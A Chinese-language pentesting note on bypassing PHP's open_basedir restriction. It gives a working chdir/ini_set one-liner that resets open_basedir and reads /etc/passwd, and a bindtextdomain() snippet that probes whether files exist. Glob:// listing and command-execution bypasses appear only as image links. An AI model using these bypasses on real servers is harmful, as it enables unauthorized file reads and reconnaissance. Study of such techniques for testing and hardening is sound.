0x01 open_basedir

open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。

假设open_basedir=/var/www/html/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/var/www/html/web1/和/tmp/这两个目录以外的文件。

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/5faa5e7f-40fe-4db7-bd38-7b5ced120667/rId21.png

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/9b2eca2a-3d0d-4876-a423-6df352933b5e/rId22.png

绕过姿势

1、利用命令执行函数bypass

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/382daeef-53ab-439c-8a3d-c5b47bb41648/rId25.png

2、推特最新Bypass

mkdir("/tmp/fuck");chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents("/etc/passwd"));

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/95ffcbce-e74f-4241-9908-76151ec21ca4/rId27.png

3、glob://伪协议Bypass

只是用glob://伪协议是无法直接绕过的,它需要结合其他函数组合利用,主要有以下两种利用方式,局限性在于它们都只能列出根目录下和open_basedir指定的目录下的文件,不能列出除前面的目录以外的目录中的文件,且不能读取文件内容。

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/4165a5eb-ea19-4bb9-b0c3-eb692fe641c6/rId29.png

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/9e3fe3dd-8337-4509-80ca-ceb45f037b39/rId30.png

4、利用bindtextdomain()函数Bypass

<?php
printf('<b>open_basedir: %s</b><br />', ini_get('open_basedir'));
$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);
?>

这里有个鸡肋,只能爆破文件是否存在,读不了内容,列不了目录。

https://s3-us-west-2.amazonaws.com/secure.notion-static.com/0f69bb84-6deb-40bf-8759-3dcab09d6ba7/rId32.png